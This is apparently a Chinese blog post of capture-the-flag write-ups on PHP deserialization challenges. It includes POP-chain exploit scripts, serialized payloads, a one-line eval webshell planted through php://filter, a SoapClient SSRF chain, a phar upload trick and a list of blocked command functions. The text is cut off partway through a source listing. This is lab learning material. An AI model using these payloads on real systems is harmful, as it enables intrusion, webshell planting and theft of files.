buu反序列化

3xyyy發表於2024-03-21

反序列化

[MRCTF2020]Ezpop 簡單的pop

檢視原始碼

用反序列化觸發wakeup方法,preg_match將$this->source進行字串正則匹配,$show1會被當成字串 進而觸發tostring

tostring是把物件當成字串呼叫時被觸發,

$show = new Show();
$show1=new Show();
$show->source=$show1;

get方法是當訪問一個不可訪問的物件或方法時被觸發

$test=new Test();
$show1->str=$test;

get方法被觸發,$p被當成函式來呼叫,觸發invoke方法

$modifier=new Modifier();
$test->p=$modifier;

invoke方法會呼叫append,append方法中有incloud,所以用偽協議來獲取flag

<?php
class Modifier{
    protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$show = new Show();
$show1=new Show();
$show->source=$show1;

$test=new Test();
$show1->str=$test;

$modifier=new Modifier();
$test->p=$modifier;

echo urlencode(serialize($show));

執行

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D

在url中傳參?pop

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2Q3Mjg5MjQzLTkzMWEtNGU2OS1iNzIwLWYxYzYzYWVlZjY4NX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

Base64解碼

<?php
class Flag{
    private $flag= "flag{d7289243-931a-4e69-b720-f1c63aeef685}";
}
echo "Help Me Find FLAG!";
?>

[NPUCTF2020]ReadlezPHP 動態函式

檢視原始碼,構造反序列化:echo serialize($c);

echo serialize($c);
O:8:"HelloPhp":2:{s:1:"a";s:11:"Y-m-d h:i:s";s:1:"b";s:4:"date";}

assert是用來避免顯而易見的錯誤的

由$b($a) 可以構造$b=assert,$a=phpinfo ->assert(phpinfo())

$b=assert;
$a=phpinfo();
$d=assert(phpinfo());
echo serialize($d);

url傳參

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

在phpinfo頁面中搜尋得到flag

[EIS 2019]EzPOP 半🐕

pop鏈:

A::__destruct->save()->getForStorage()->cleanStorage()
B::set()->getExpireTime()、getCacheKey()、serialize()->file_put_contents寫x.php

原始碼+分析

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {//傳進來的cache陣列替換為$contents
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {//覆蓋變數
            if (is_array($object)) {//判斷contents傳進倆是否為陣列
                $contents[$path] = array_intersect_key($object, $cachedProperties);//array_intersect_key方法取兩個陣列
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);//進入cleanContents方法,cache為array陣列

        return json_encode([$cleaned, $this->complete]);//將$complete傳入數值後會進行json加密並返回到cleanContents()的陣列裡

    }

    public function save() {
        $contents = $this->getForStorage();//進入getForStorage方法

        $this->store->set($this->key, $contents, $this->expire);//設定store為B類,進入new B()的set方法,將key,contents,expire傳過去

    }

    public function __destruct() {//入口
        if (!$this->autosave) {//設定autosave=flase;!假=真(!x 如果x不是true就返回true)
            $this->save();//進入save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;//getCacheKey(string $name)方法中的options['prefix']可控
        //可以構造php://filter.writer=convert.base64-decode/resource=x.php
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }//先將$value轉為string($data)
         //因為options['serialize']可控 所以設定options['serialize'] = 'base64_decode' 先解碼$data一次 偽協議在解碼一次


        $serialize = $this->options['serialize'];
        //options['serialize']='base64_decode'
        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {//判斷A類傳進來$expire是不是null
            $expire = $this->options['expire'];//options['expire']可控
        }

        $expire = $this->getExpireTime($expire);//expire可控
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 建立失敗
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //資料壓縮  //options['data_compress']可控,所以賦值options['data_compress'] = false
            $data = gzcompress($data, 3);//提取三個字元壓縮 所以編碼時加上三個字元 以免干擾base64編碼後的一句話木馬
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;//data經過了拼接處理
        $result = file_put_contents($filename, $data);//偽協議繞過exit之後利用file_put_contents寫入x.php

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

從反序列化函式unserialize入手,利用file_put_contents函式寫shell

data引數做了拼接處理,exit需要用偽協議來繞過

有個資料壓縮程式碼,但只要options['data_compress']為假就不進入if執行

$value變數來自classA中的$contents 經class B中的set函式呼叫

!$this->autosave代表$this->autosave=false;從而呼叫save函式 實現$this->store->set,set函式被呼叫

$contents變數來自函式getStorage()的返回值,引數組為[$cleaned,$this->complete],讓$complete為shell內容 另一個為空陣列

filename為getCacheKey($name)的返回值 返回兩個拼接量$name來自$key

$this->complete = base64_encode("xx".base64_encode('<?php @eval($_POST["a"]);?>'));

第一次編碼是為了繞過exit,二次編碼是防止出錯

base64演算法解碼時是4個位元組為一組,如果直接偽協議解碼,前面的拼接內容如果不足4的倍數,會向後取位補足,從而破壞shell內容,所以需要補齊字元

payload

<?php
class A{
    protected $store;
    protected $key;//傳過去對應著$filename
    protected $expire;//expire傳不傳值都對應著null

    public function __construct()
    {
        $this->cache = array();//cache是array的陣列
        $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_GET["x"]);?>'));//cache是array的陣列
        $this->key = "php://filter/write=convert.base64-decode/resource=x.php";//php://filter偽協議繞過exit
        $this->store = new B();//進入B類
        $this->autosave = false;//設定autosave()=false; !假=真(!x 如果x不是true就返回true)
    }


}
class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';//serialize方法的options['serialize']可控 解碼$data
        $this->options['data_compress'] = false;//data_complete可控 值設為false,假&&假==真
    }
}
echo urlencode(serialize(new A()));
?>

執行結果

O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A55%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D7.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A52%3A%22eHh4UEQ5d2FIQWdRR1YyWVd3b0pGOUhSVlJiSW1FaVhTazdQejQ9%22%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3B%7D

訪問 src=x&data=payload 在訪問 x.php?x=system('cat /flag');

image-20240310221301374

[MRCTF2020]Ezpop_Revenge??

soap類作用:是用於在分散的分散式環境中交換資訊的輕量級協議

target函式:將一個函式作為一個引數傳遞給另一個函式

X-Forwarded-For 是一個 HTTP 擴充套件頭部,用來請求真實的IP

本題核心程式碼整理

<?php
class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        //phpinfo();
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class HelloWorld_Plugin
{
    public function action(){
        if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
            if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
                unserialize(base64_decode($_POST['C0incid3nc3']));
            else {
                echo "Not that easy.";
            }
        }
    }
}

class Typecho_Db{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        //phpinfo();
        $this->_adapterName = $adapterName;

        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
        }

        $this->_prefix = $prefix;

        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        $this->_adapter = new $adapterName();
    }

}

class Typecho_Db_Query
{
    private static $_default = array(
        'action' => NULL,
        'table'  => NULL,
        'fields' => '*',
        'join'   => array(),
        'where'  => NULL,
        'limit'  => NULL,
        'offset' => NULL,
        'order'  => NULL,
        'group'  => NULL,
        'having'  => NULL,
        'rows'   => array(),
    );
    private $_sqlPreBuild;

    public function __toString()
    {
        phpinfo();
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
                return 'INSERT INTO '
                    . $this->_sqlPreBuild['table']
                    . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                    . ' VALUES '
                    . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                    . $this->_sqlPreBuild['limit'];
            case Typecho_Db::DELETE:
                return 'DELETE FROM '
                    . $this->_sqlPreBuild['table']
                    . $this->_sqlPreBuild['where'];
            case Typecho_Db::UPDATE:
                $columns = array();
                if (isset($this->_sqlPreBuild['rows'])) {
                    foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                        $columns[] = "$key = $val";
                    }
                }

                return 'UPDATE '
                    . $this->_sqlPreBuild['table']
                    . ' SET ' . implode(' , ', $columns)
                    . $this->_sqlPreBuild['where'];
            default:
                return NULL;
        }
    }
}

反序列化HelloWorld_DB 觸發__wakeup()方法,例項化了Typecho_Db類,傳遞陣列$this->coincidence['hello']作為引數

觸發construct方法

image-20240311220442646

觸發?tostring

image-20240312214040274

在tostring內 若$_sqlPrebuild['action']為SELECT就會觸發$_adapter的parseSelect()方法

image-20240312221501491

將$_adapter例項化為SoapClient,呼叫parseSelect()是不存在的方法,觸發了SoapClient的__call()魔術方法call()是實現SSRF的關鍵

觸發sqlPreBuild方法

image-20240312214125881

payload

<?php
class SoapClient{}
class Typecho_Db_Query
{
    private $_adapter;
    private $_sqlPreBuild;

    public function __construct()
    {
        $target = "http://79a741b7-3f82-4af4-a667-c3ff1e6a125a.node5.buuoj.cn:81/flag.php";
        $headers = array(
            'X-Forwarded-For:127.0.0.1',
            "Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm45"
        );
        $this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));
        $this->_sqlPreBuild = ['action' => "SELECT"];
    }
}

class HelloWorld_DB
{
    private $coincidence;
    public function __construct()
    {
        $this->coincidence = array("hello" => new Typecho_Db_Query());
    }
}

function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    echo "www.gem-love.com\n";
    return $newstr;
}

$y1ng = serialize(new HelloWorld_DB());
$y1ng = preg_replace(" /\^\^/", "\r\n", $y1ng);
$urlen = urlencode($y1ng);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$y1ng = decorate(urldecode($urlen));
echo base64_encode($y1ng);

觸發點在/page_admin

POST提交payload在C0incid3nc3變數中 GET傳參admin

image-20240317204545136

不知道為啥 出不來flag

[網鼎杯 2020 青龍組]AreUSerialz

file_get_contents() 函式是用來將檔案的內容讀入到一個字串中的首選方法

str_replace函式;把字串 "Hello world!" 中的字元 "world" 替換成 "Peter":

<?php
echo str_replace("world","Peter","Hello world!");
?>

大體pop鏈:

destruct->process->read->output

原始碼+分析

<?php

include("flag.php");

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        //phpinfo();
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        //phpinfo();
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");//如果op=="1",則進入write函式,若op=="2",則進入read函式,否則輸出報錯
            //令op=2,這裡的2是整數int。當op=2時,op==="2"為false,op=="2"為true,進入read函式
        }
    }

    private function write() {
        //phpinfo();
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        //phpinfo();
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//filename可控,接著用file_get_contents哈桑農戶讀取檔案
            //藉助php://filter偽協議讀取檔案,獲取到檔案後用output函式輸出
        }
        return $res;
    }

    private function output($s) {
        //phpinfo();
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        //phpinfo();
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();//如果op==="2" 將其賦值"1"(1,2,均為字串) content賦值為控,進入process函式
    }

}

function is_valid($s) {
    //phpinfo();
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
//str字串中的字元都在ASCII的32到125範圍之內 反序列化
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

$a=new FileHandler();
echo serialize($a);

注意:$content $filename $op三個變數都是protected,protected許可權的變數在序列化時會有%00*%00字元,而%00字元的ASCII碼為0 無法透過is_vaild函式校驗

執行結果

[Result]: <br>Bad Hacker!O:11:"FileHandler":3:{s:5:" * op";N;s:11:" * filename";N;s:10:" * content";N;}[Result]: <br>Bad Hacker!

payload

<?php
class FileHandler
{

    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $content = 2;
}
$a=new FileHandler();
echo serialize($a);

image-20240317222008171

[網鼎杯 2020 朱雀組]phpweb

call_user_func()函式:把第一個引數作為回撥函式呼叫

burp抓包 猜測 利用func上傳函式名,p上傳引數

image-20240318194407814

構造:func=file_get_contents&p=index.php
  //finc_get_contents函式是把整個檔案讀入一個字串中

image-20240318195209438

獲得原始碼

  <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

禁止了這老些函式

$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

payload

<?php
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";

}
$a  = new Test();
$a->func = "system";
$a->p = "ls";
echo serialize($a);

image-20240318204230794

執行系統命令ls

find / -name flag*//查詢名字關於flag

image-20240318204811013

image-20240318210359415

image-20240318210315926

得到flag

[安洵杯 2019]easy_serialize_php

檢視原始碼

<?php

$function = @$_GET['f'];

function filter($img){//對$img(形參)進行過濾,字尾不允許出現'php','flag','php5','php4','fl1g'
//滿足字串逃逸的條件
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);//把$_SESSION重置為空
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);//把post引數註冊成變數(變數覆蓋)

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));//對$_SESSION進行一些過濾

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
構造:f=phpinfo

image-20240318212101447

讀取檔案的地方

image-20240318212250689

當$function == 'show_image'時讀取解碼後的['img']

$userinfo的值是$serialize_info的反序列化物件

$serialize_info是經過自定義函式過濾的序列化後的$_SESSION

本題知識點:反序列化逃逸

逃逸的兩種方法:鍵值逃逸,鍵名逃逸

鍵值逃逸

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}

因為filter函式過濾掉了flage和php 但序列化長度沒有改變 所以

image-20240319164237129

但序列化長度沒有改變 所以s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"2";}被當作原來的值

image-20240319164950411

實現了讀取flag

將/d0g3_fllllllag進行base64編碼後替換ZDBnM19mMWFnLnBocA==上傳

image-20240319170636156

鍵名逃逸

原理相同 過濾鍵名

image-20240319171344441

更換鍵名";s:48:

image-20240319172051580

image-20240319173051338

[SWPUCTF 2018]SimplePHP

檢視原始碼

image-20240320193620685

檔案上傳處只允許上傳圖片型別 並且不反悔路徑

image-20240320193457129

image-20240320193921313

file=index.php 根據線索一個一個找出來

原始碼+分析

index.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'base.php';
?> 

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首頁</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">檢視檔案</a></li> 
                <li><a href="upload_file.php">上傳檔案</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

分析 index.php+base.php發現 base.php食醋胡了一個REMOTE_ADDR 客戶端的IP地址

image-20240320200656486

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} //若檔案存在 將要讀取的檔案賦值給Show類的$source 呼叫_show(),zai class.php檔案中找到了這個函式
?> 

分析file.php檔案發現設定了open_basedir

image-20240320200939617

“file_exists()”函式的作用是:檢查檔案或目錄是否存在

_show()

image-20240320201907631

將傳入的檔案 金國正規表示式過濾 如果包含了特殊字元就退出,否則就讀取原始碼

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>檔案上傳</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端寫得很low,請各位師傅見諒!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">檔名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上傳成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>請選擇上傳的檔案:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

呼叫upload_file函式。 首先得經過upload_file_check()函式。 這個函式是判斷檔案字尾名的。必須是gif/jpeg/jpg/png 透過匹配後。進入upload_file_do()

function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

分析class.php

class.php粗濾檢視過濾會發現確實過濾了f1ag.php。

然後整個題沒有一個unserialize();呼叫

看到了wakeup方法但因為嗚啊繞過正則匹配 所以從Test類入手

看到了get方法 需要找到一個不存在的函式或屬性 呼叫get方法 進而呼叫file_get來讀取檔案

image-20240320205519301

image-20240320210147227

將str['str']變成Test類,呼叫source函式。由於Test類沒有source函式。就會觸發get方法

image-20240320210300638

echo $this->test;能觸發tostring方法

POP鏈:

透過Cle4r 將str賦值為Show類  this->test=$this->Show類 echo $this->test;
觸發Show類中的__tostring  進入Show類  執行$content=$this->str['str']->source;
將str['str']賦值為Test類  使其呼叫不存在的source  觸發__get($key)  這個$key就是source
get($key)
$value=this->params['source'];
file_get_contents($value);
由於Test類在建構函式中 定義了params是個陣列 那麼我們就定義params=array('source'=>'/var/www/html/fl1g.php');

exp

<?php
class Cle4r{
    public $str;
    public $test;
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $file;
    public $params;
}
$a=new Cle4r();
$b=new Show();
$a->test=$b;

$c=new Show();
$c->source=new Show();

$d=new Test();
$d->params['source']=array('source'=>'/var/www/html/f1ag.php');
$b->str['str']=$d;

echo serialize($a);
//O:5:"Cle4r":2:{s:3:"str";N;s:4:"test";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}}

$phar=new Phar("1.phar");
$phar->startBuffering();//開始緩衝Phar 寫操作
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");//設定stub,stub是一個簡單的php檔案。PHP透過stub識別一個檔案為PHAR檔案,可以利用這點繞過檔案上傳檢測
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");//新增要壓縮的檔案
$phar->stopBuffering();//停止緩衝對 Phar 歸檔的寫入請求,並將更改儲存到磁碟
//O:5:"Cle4r":2:{s:3:"str";N;s:4:"test";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}}

上傳檔案 檢視目錄 複製規則化後名字 url訪問 base64解碼

image-20240320222315729

[CISCN2019 華北賽區 Day1 Web1]Dropbox

上傳檔案 發現只有圖片能上傳

image-20240321140533923

一般上傳的檔案 會放在網站的/sandbox/hash目錄下 所以下載原始碼需要跳轉到上一級目錄 下載時抓包得到原始碼

filenmae=../../index.php

image-20240321143829653

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

login.php

<?php
include "class.php";

if (isset($_GET['register'])) {
    echo "<script>toast('註冊成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
        $_SESSION['login'] = true;
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        die();
    }
    echo "<script>toast('賬號或密碼錯誤', 'warning');</script>";
}
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);//bind_param函式:繫結引數
        $stmt->execute();//execute:該方法執行一條預處理語句 成功是返回TRUE 失敗時返回FLASE
        $stmt->store_result();//轉移上一次查詢返回的結果集
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
